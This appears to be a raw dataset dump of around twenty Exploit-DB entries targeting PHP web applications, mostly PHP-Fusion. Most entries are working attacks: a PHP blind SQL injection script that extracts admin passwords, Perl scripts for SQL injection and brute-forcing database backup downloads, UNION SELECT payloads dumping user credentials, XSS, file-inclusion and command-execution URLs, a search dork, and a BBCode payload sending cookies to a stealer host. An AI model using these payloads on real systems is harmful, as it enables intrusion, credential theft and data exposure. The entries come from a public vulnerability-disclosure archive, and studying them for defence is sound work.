deardaniel/secdata-raw huggingface dataset:
Exploit-DB #31970
Description: PHP-CMDB 0.7.3 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-02-28
Author: HauntIT

Exploit:
# ==============================================================
# Title ...| Multiple vulnerabilities in PHP-CMDB
# Version .| php-cmdb_0.7.3
# Date ....| 27.02.2014
# Found ...| HauntIT Blog
# Home ....| 
# ==============================================================

[+] From admin logged-in
 

# ==============================================================
# 1. XSS in SQL error

---<request>---
POST /k/cms/php-cmdb/php-cmdb_0.7.3/www/index.php HTTP/1.1
Host: 10.149.14.62
(...)
Content-Length: 57

s_text='%3e"%3e%3cbody%2fonload%3dalert(9999)%3e&s_form=1
---<request>---


---<response>---
<td colspan='2' class='c_attr r_attr'>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"><body/onload=alert(9999)>%' AND ci_cit_id=cit_id ORDER BY ci_title, cit_title' at line 1</td>
</tr>
---<response>---

Same parameter seems to be vulnerable to SQL Injection attack.
("The used SELECT statements have a different number of columns")

# ==============================================================
# 2. XSS

---<request>---
POST /k/cms/php-cmdb/php-cmdb_0.7.3/www/ci_create.php HTTP/1.1
Host: 10.149.14.62
(...)
Content-Length: 93

ci_id=0&ci_clone_id=0&ci_icon='%3e"%3e%3cbody%2fonload%3dalert(9999)%3e&ci_form=1&ci_cit_id=0
---<request>---



# ==============================================================
# 3. XSS /SQLi 

---<request>---
POST /k/cms/php-cmdb/php-cmdb_0.7.3/www/search_advanced.php HTTP/1.1
Host: 10.149.14.62
(...)
Content-Length: 100

s_form=2&s_text='%3e"%3e%3cbody%2fonload%3dalert(9999)%3e&s_cit_id=0&s_cat_id=0&s_compare_operator=0
---<request>---


# ==============================================================
# 4. XSS / SQLi

---<request>---
POST /k/cms/php-cmdb/php-cmdb_0.7.3/www/u_create_run.php HTTP/1.1
Host: 10.149.14.62
(...)
Content-Length: 153

u_id=0&u_form=1&u_login='%3e"%3e%3cbody%2fonload%3dalert(9999)%3e&u_active=1&u_last_name=tester&u_first_name=tester&u_role_id=1&u_email=&u_auth_backend=0
---<request>---



# ==============================================================
# More @ http://HauntIT.blogspot.com
# Thanks! ;)
# o/
Exploit-DB #7876
Description: PHP-CMS 1 - 'Username' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-01-26
Author: darkjoker

Exploit:
--+++===================================================+++--
--+++====== PHP-CMS 1 Blind SQL Injection Exploit ======+++--
--+++===================================================+++--

<?php

function query ($user, $pos, $chr)
{
	$query = "x' OR IF((ASCII(SUBSTRING((SELECT password FROM ".
		 "admin WHERE username='{$user}'),{$pos},1))={$chr}),BENCHMARK".
		 "(100000000,CHAR(0)),0) OR '1' = '2";

	return $query;
}

function exploit ($hostname, $path, $user, $pos, $chr)
{
	$chr = ord ($chr);

	$fp = fsockopen ($hostname, 80);

	$post = "username=".query ($user, $pos, $chr) . "&[CREDENTIAL_REDACTED]=ok";
	
	$req =  "POST {$path}/admin/login.php HTTP/1.1\r\n".
		"Host: {$hostname}\r\n".
		"Connection: Close\r\n".
		"Content-Type: application/x-www-form-urlencoded\r\n".
		"Content-Length: " . strlen ($post) . "\r\n\r\n".
		$post;
	
	fputs ($fp, $req);

	$start = time ();
	while (!feof ($fp))
		fgets ($fp, 1024);
	
	$end = time ();

	fclose ($fp);

	if ($end - $start > 4)
		return true;
	else
		return false;
	
}

function usage ()
{
	echo
		"\nPHP-CMS 1 Blind SQL Injection Exploit".
		"\n[+] Author  : darkjoker".
		"\n[+] Site    : http://darkjoker.net23.net".
		"\n[+] Download: http://heanet.dl.sourceforge.net/sourceforge/php-cms-project/phpcms.zip".
		"\n[+] Usage   : php xpl.php <hostname> <path> <username> [<keylist>]".
		"\n[+] Ex.     : php xpl.php localhost /PHPCMS admin abcdefghijklmnopqrstuvwxyz".
		"\n[+] Greetz  : my girlfriend, Vivi".
		"\n\n";
	exit ();
}



if ($argc < 3)
	usage ();

$hostname = $argv [1];
$path = $argv [2];
$user = $argv [3];
$key = (empty ($argv [4])) ? "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ[PII_REDACTED]" : $argv [4];
$pos = 1;
$chr = 0;

echo "[+] Password: ";
while ($chr < strlen ($key))
{
	if (exploit ($hostname, $path, $user, $pos, $key [$chr]))
	{
		echo $key [$chr];
		$chr = 0;
		$pos++;
	}
	else
		$chr++;
}

echo "\n\n";

?>

# milw0rm.com [2009-01-26]
Exploit-DB #4670
Description: PHP-CON 1.3 - 'include.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-11-28
Author: GoLd_M

Exploit:
PHP-CON 1.3 - 'include.php' Remote File Inclusion

Script : http://sourceforge.net/project/showfiles.php?group_id=182182

POC :

/PHP_CON/Exchange/include.php?webappcfg[APPPATH]= Evil Code

# milw0rm.com [2007-11-28]
Exploit-DB #23372
Description: PHP-Coolfile 1.4 - Unauthorized Administrative Access
Type: webapps
Platform: php
Date: 2003-11-11
Author: r00t@rsteam.ru

Exploit:
source: https://www.securityfocus.com/bid/9018/info

PHP-Coolfile allows unauthorized administrative access due to an error in the way access is evaluated in the action.php file. This could allow a remote user to obtain the administrative username and password for the site.

www.site.com/php-coolfile/action.php?action=edit&file=config.php
Exploit-DB #35557
Description: PHP-Fusion - 'article_id' SQL Injection
Type: webapps
Platform: php
Date: 2011-04-04
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/47128/info

PHP-Fusion is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/[Path]/articles.php?article_id=-1+union+select+version()--
Exploit-DB #14647
Description: PHP-Fusion - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-08-15
Author: MoDaMeR

Exploit:
# Exploit Title:   PHP-Fusion Local File Includes Vulnerability
# Date: 2010/08/15
# Author: MoDaMeR
# Email: k@live.ma
# My Sites : www.v4-team.com & www.hackteach.org
# Script home: http://www.phpfusion-ar.com
# download Script:
http://www.phpfusion-ar.com/downloads.php?cat_id=1&download_id=91
# Version:all
# Tested on: Linux
# Team hacker:Mr.Mo0oM & Dr.xp
                          فلسطين كلنا فداءً لكِ
                         :::::::::::::::::::::::::
=================Exploit=================
maincore.php
[php]
 // Locate config.php and set the basedir path
$folder_level = ""; $i = 0;
while (!file_exists($folder_level."config.php")) {
    $folder_level .= "../"; $i++;
    if ($i == 5) { die("Config file not found"); }
}
require_once $folder_level."config.php";
define("BASEDIR", $folder_level);
[/php]
----exploit----

http://{localhost}/{path}/maincore.php?folder_level=LFI

---------greatz----------
Greatz to :
aB0 m0h4mM3d , and all v4-team & hackteach members
Exploit-DB #14405
Description: PHP-Fusion - Remote Command Execution
Type: webapps
Platform: php
Date: 2010-07-18
Author: ViRuS Qalaa

Exploit:
# Exploit Title:   PHP-Fusion Remote Command Execution Vulnerability
# Date: 2010/07/19
# Author: ViRuS Qalaa
# Email: em9@live.com
# My Sites : www.pal-mafia.com & www.vbspiders.com
# Script home: http://www.phpfusion-ar.com
# download Script:
http://www.phpfusion-ar.com/downloads.php?cat_id=1&download_id=91
# Version:all
# Tested on: Windows
# Team hacker:ViRuS Qalaa & HaCkEr aRaR >>>X-MaN HaCk3r TeaM
:::::::::::::::::::::::::
=================Exploit=================

-=[ vuln c0de ]=-
popen($sendmail, 'w'))
/includes/class.phpmailer.php
Line:438

----exploit----

http://{localhost}/{path}/includes/class.phpmailer.php?sendmail=id

---------greatz----------
Greatz to :
hacker arar,ViRuS KSA,Q2,Spy-iq

and My friends Others and My friends in MSN
EnJoY o_O
Exploit-DB #25089
Description: PHP-Fusion 4.0 - 'Viewthread.php' Information Disclosure
Type: webapps
Platform: php
Date: 2005-02-08
Author: TheGreatOne2176

Exploit:
source: https://www.securityfocus.com/bid/12482/info

PHP-Fusion is reportedly affected by an information disclosure vulnerability. This issue is due to the application failing to properly sanitize user-supplied input.

It is reported that an attacker could leverage this vulnerability to view any thread of protected forums on an affected version of the application. All PHP-Fusion 4 versions are reportedly affected by this vulnerability; earlier versions may also be vulnerable. 

http://www.example.com/fusion_forum/viewthread.php?forum_id=10000&forum_cat=100000&thread_id=2
Exploit-DB #26102
Description: PHP-Fusion 4.0/5.0/6.0 - 'messages.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-08-06
Author: almaster

Exploit:
source: https://www.securityfocus.com/bid/14489/info

PHP-Fusion is prone to an SQL injection vulnerability.

This issue is due to a failure in the application to properly sanitize user-supplied input to the 'messages.php' script before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/messages.php?msg_view='
Exploit-DB #26538
Description: PHP-Fusion 4.0/5.0/6.0 - 'options.php?/ viewforum.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-19
Author: Robin Verton

Exploit:
source: https://www.securityfocus.com/bid/15502/info

PHP-Fusion is prone to SQL injection vulnerabilities in multiple PHP scripts. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/forum/viewforum.php?forum_id=4&lastvisited='[SQL injection]

http://www.example.com/forum/viewforum.php?forum_id=1&lastvisited='
Exploit-DB #26209
Description: PHP-Fusion 4.0/5.0/6.0 - BBCode URL Tag Script Injection
Type: webapps
Platform: php
Date: 2005-08-29
Author: slacker4ever_1

Exploit:
source: https://www.securityfocus.com/bid/14688/info

PHP-Fusion is prone to a script injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

[URL=http://aaaaaa.com/UR[url=aa.com&&OnMouseOver=jscript:location='http://direct/to/cookie/stealer.com/?c='+cookie;
location="http://google.com]][/URL][/url]
Exploit-DB #32242
Description: PHP-Fusion 4.01 - 'readmore.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-13
Author: Rake

Exploit:
source: https://www.securityfocus.com/bid/30680/info

PHP-Fusion is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PHP-Fusion 4.01 is vulnerable; other versions may also be affected. 

http://www.example.com/readmore.php?news_id=readmore.php?news_id=-1%20'UNION%20SELECT%201,user_name,3,user_password,5,6,7,8,9,10,11%20from%20fusion_users/*
Exploit-DB #12635
Description: PHP-Fusion 4.01 - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-17
Author: Ma3sTr0-Dz

Exploit:
# Exploit Title: PHP-Fusion v4.01 SQL INJECTION Vulnerabilities

# Date: 17/05/2010

# Author: Ma3sTr0-Dz

# Software Link: http://www.php-fusion.co.uk

# Version: 4.01

# CVE : N/A

# Code : [exploit code]

=======================================================PHP-Fusion v4.01 SQL INJECTION Vulnerabilities=======================================================############################################################## Name: PHP-Fusion v4.01 SQL INJECTION Vulnerabilities .
# Vendor: www.php-fusion.co.uk# Date: 2010/05/17# Author: Ma3sTr0-Dz# Home : Www.Sec4ever.Com
# Contact: o5m@Hotmail.de#############################################################

# Part Expl0it & Bug Codes :

---
Dork : allinurl:readmore.php?news_id

http://site.com/readmore.php?news_id=readmore.php?news_id=-1%20'UNION%20SELECT%201,user_name,3,user_password,5,6,7,8,9,10,11%20from%20fusion_users/*

# Thanks to: Cmos_Clr -
 Hard_Hakerz- Sa4D - Mahmoud_SQL - RA3CH - His0k4 - Virus_Hacker_Dz - 
HCJ 



  g0x - Heart_Hunter - D4dy - all sec4ever members & algerian hackers !
Exploit-DB #25241
Description: PHP-Fusion 4/5 - 'Setuser.php' HTML Injection
Type: webapps
Platform: php
Date: 2005-03-19
Author: PersianHacker Team

Exploit:
source: https://www.securityfocus.com/bid/12853/info

PHP-Fusion is reportedly affected by a HTML injection vulnerability. This issue is due to the application failing to properly sanitize user-supplied input passed to the 'setuser.php' script before using it in dynamically generated content.

This vulnerability is reported to affect PHP-Fusion version 5.01, however the vendor reports that the vulnerability might exist in an alteration that is planned for version 5.02. This alteration was recently released to the PHP-Fusion community as a mod for version 5.01.

<html>

<head>
<title>PHP-Fusion v5.01 Exploit</title>
</head>

<body>

<h1>PHP-Fusion v5.01 Html Injection Exploit</h1>


<form method="POST" action="http://www.example.com/setuser.php">
  <b>XSS in register.php:</b><p>
  Username:
  <input type="text" name="user_name" size="48" value="XSS Injection Code"></p>
  <p>
  Password:
  <input type="text" name="user_pass" size="48" value="XSS Injection Code"></p>
  <p><input type='checkbox' name='remember_me' value='y'>Remember Me<br><br>
  exmple: <script>document.write(document.cookie)</script></p>
  <p>&nbsp;<input type='submit' name='login' value='RUN!' class='button'></p>
</form>
<p>&nbsp;</p>
<p align="center"><a href="http://www.PersianHacker.NET">www.PersianHacker.NET</a></p>

</body>

</html>
Exploit-DB #25197
Description: PHP-Fusion 5.0 - BBCode IMG Tag Script Injection
Type: webapps
Platform: php
Date: 2005-03-08
Author: FireSt0rm

Exploit:
source: https://www.securityfocus.com/bid/12751/info

PHP-Fusion is reported prone to a script injection vulnerability. This issue is due to the application failing to properly sanitize user-supplied input prior to including it in dynamically generated content.

An attacker can supply ASCII equivalents of arbitrary HTML and script code through the BBCode IMG tag to trigger this issue and execute arbitrary script code in a user's browser.

PHP-Fusion 5.00 is reportedly affected by this issue. 

[IMG]&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#100&#111&#99&#117&#109&#101&#110&#116&#46&#108&#111&#99&#97&#116&#105&#111&#110&#61&#39&#104&#116&#116&#112&#58&#47&#47&#119&#119&#119&#46&#97&#108&#98&#105&#110&#111&#98&#108&#97&#99&#107&#115&#104&#101&#101&#112&#46&#99&#111&#109&#47&#102&#108&#97&#115&#104&#47&#121&#111&#117&#46&#104&#116&#109&#108&#39[/IMG]
Exploit-DB #26872
Description: PHP-Fusion 6.0 - 'members.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-19
Author: krasza

Exploit:
source: https://www.securityfocus.com/bid/15931/info

PHP-Fusion is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/[fushion]/members.php?sortby=%3Ciframe%20src=http://www.example.com%20%3C
Exploit-DB #26706
Description: PHP-Fusion 6.0.109 - 'messages.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-03
Author: Nolan West

Exploit:
source: https://www.securityfocus.com/bid/15698/info

PHP-Fusion is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/messages.php?folder=inbox&srch_text=a&srch_type=blehblahbleh&sort_type=blahblehblah&srch_submit=Search%20/%20Sort
Exploit-DB #1068
Description: PHP-Fusion 6.00.105 - Accessible Database Backups Download
Type: webapps
Platform: php
Date: 2005-06-25
Author: Easyex

Exploit:
 #!/usr/bin/perl
 ######################################################
 #  D A R K   A S S A S S I N S   C R E W   2 0 0 5   #
 ######################################################
 # Dark Assassins - http://dark-assassins.com/        #
 # Visit us on IRC @ irc.tddirc.net #DarkAssassins    #
 ######################################################
 # phpfusiondb.pl; Version 0.1 22/06/05               #
 # PHP-Fusion db backup proof-of-concept by Easyex    #
 # Database backup vuln in v6.00.105 and below        #
 ######################################################
 # Description: When a db (database) backup is made   #
 # it is saved in /administration/db_backups/ on 6.0  #
 # and on 5.0 it is saved in /fusion_admin/db_backups/#
 # The backup file can be saved in 2 formats: .sql or #
 # .sql.gz and is hidden by a blank index.php file but#
 # can be downloaded client-side, The filename is for #
 # example : backup_2005-06-22_2208.sql.gz so what we #
 # can do is generate 0001 to 9999 and request the    #
 # file and download it. If a db file is found an     #
 # attacker can get the admin hash and crack  it or   #
 # retrieve other sensitive information from the db!  #
 ######################################################

 # 9999 requests to the host is alot, And would get noticed in the server log!
 # If you re-coded your own script with proxy support you would be fine.
 # You need to know the backup year-month-day to be able to find a backup file unless the server is set to automaticlly   
 # backup the php-fusiondatabase.

 my $wget='wget';

 my $count='0';

 my $target;

 if (@ARGV < 4)
{
 print "\n";
 print "Welcome to the PHP-Fusion db backup vulnerability\n";
 print "Coded by Easyex from the Dark Assassins crew\n";
 print "\n";
 print "Usage: phpfusiondb.pl <host> <version> <file> <extension>\n";
 print "Example: phpfusiondb.pl example.com 6 backup_2005-06-23_ .sql.gz\n";
 print "\n";
 exit();
}

 my $host = $ARGV[0];
 my $ver = $ARGV[1];
 my $file = $ARGV[2];
 my $extension = $ARGV[3];

 if ($ver eq "6") {
       $dir='/administration/db_backups/'; # Directory path to the 6.X backup folder
 }

 if ($ver eq "5") {
       $dir='/fusion_admin/db_backups/'; # Directory path to the 5.X backup folder
}

 print "\n";
 print "Welcome to the PHP-Fusion db backup vulnerability\n";
 print "Coded by Easyex from the Dark Assassins crew\n";
 print "\n";

 print "Host: $host\n";
 print "Directory: $dir\n";
 print "File: $file + 0001 to 9999\n";
 print "Extension: $extension\n";
 print "\n";
 print "Attempting to find a db backup file on $host\n";

 for($count=0;$count<9999;$count++) {

    $target=$host.$dir.$file.sprintf("%04d", $count).$extension;

    system("$wget $target");
 }

# milw0rm.com [2005-06-25]
Exploit-DB #1385
Description: PHP-Fusion 6.00.3 - 'rating' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-23
Author: krasza

Exploit:
#!/usr/bin/perl
#Exploit for PHP-Fusion 6.00.3 Released
#Coded by:krasza[krasza@gmail.com]
#Greetz: http://www.curityreason.com
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;
if(!$ARGV[3]){
print<<EOF;
Exploit for PHP-Fusion 6.00.3 Released
Coded by krasza
Contact me:krasza\@gmail.com
Greets:
-http://www.ecurityreason.com
-http://www.revival.pl
-mulander

Usage:
perl phpfusion.pl url login pass sql
url-url hack site with [php fusion's directory]
login-your login
pass-your password
sql-[sql code]
Example:
\t perl phpfusion.pl http://www.something.com/php-fusion admin password 3','31337','HACKED')/*
EOF
exit;
}
my $url=shift;
my $login=shift;
my $haslo=shift;
my $sql=shift;
$url=$url."/news.php?readmore=1";
my $ua = new LWP::UserAgent;
$ua->agent("Exploit for PHP-Fusion" . $ua->agent);
$ua->cookie_jar( HTTP::Cookies->new(
'file' => 'ciasteczka.txt',
'autosave' => 1,));
print "[+]Connecting to $url...\n";

my $zadanie = new HTTP::Request POST => $url;
$zadanie->content_type('application/x-www-form-urlencoded');
$zadanie->content('user_name=' . $login . '&user_pass=' . $haslo . '&login=Loguj'
);
my $wynik = $ua->request($zadanie);
if ($wynik->is_success){
print "[+]Connected to $url\n";
#LOGIN JEST PRAWIDLOWE
}else{
print "[-]Connected failed to $url\n";
print "[-]Error:".$wynik->message."\n";
exit;
}
print "[+] Logging In $url...\n";
$zadanie = new HTTP::Request POST => $url;
$zadanie->content_type('application/x-www-form-urlencoded');
$zadanie->content('rating='.$sql.'&post_rating=Dodaj+ocen%EA');
my $wynik2 = $ua->request($zadanie);
if ($wynik2->is_success){
print "[+] Sql query isn't done!\n";
}else{
print "[-]Sql query is done\n";
}

# milw0rm.com [2005-12-23]
Exploit-DB #11726
Description: PHP-Fusion 6.01.15.4 - 'downloads.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-14
Author: Inj3ct0r

Exploit:
===================================================================
PHP-Fusion <= 6.01.15.4 (downloads.php) SQL Injection Vulnerability
===================================================================
#[+] Discovered By   : Inj3ct0r
#[+] Site            : Inj3ct0r.com
#[+] support e-mail  : submit[at]inj3ct0r.com


Product: PHP-Fusion 
Version: 6.01.15.4

Error in file downloads.php

PHP code:

$result = dbquery("SELECT * FROM ".$db_prefix."downloads WHERE download_id='$page_id'");

A vulnerable parameter $ page_id


Exploit:

downloads.php?page_id=-1%27+union+select+1,2,user_name,4,user_password,6,7,8,9,10,11,12,13,14,15,16,17+from+rusfusion_users+limit+0,1/*

password is encrypted by: md5 (md5 ($ pass))


# ~  - [ [ : Inj3ct0r : ] ]
Exploit-DB #33189
Description: PHP-Fusion 6.1.18 - Multiple Information Disclosure Vulnerabilities
Type: webapps
Platform: php
Date: 2009-08-26
Author: Inj3ct0r

Exploit:
source: https://www.securityfocus.com/bid/36171/info

PHP-Fusion is prone to multiple information-disclosure vulnerabilities.

Attackers can exploit these issues to harvest sensitive information that may lead to further attacks. 

The following example URIs are available:

http://www.example.com/members.php?sortby[]=A
http://www.example.com/messages.php?folder[]=inbox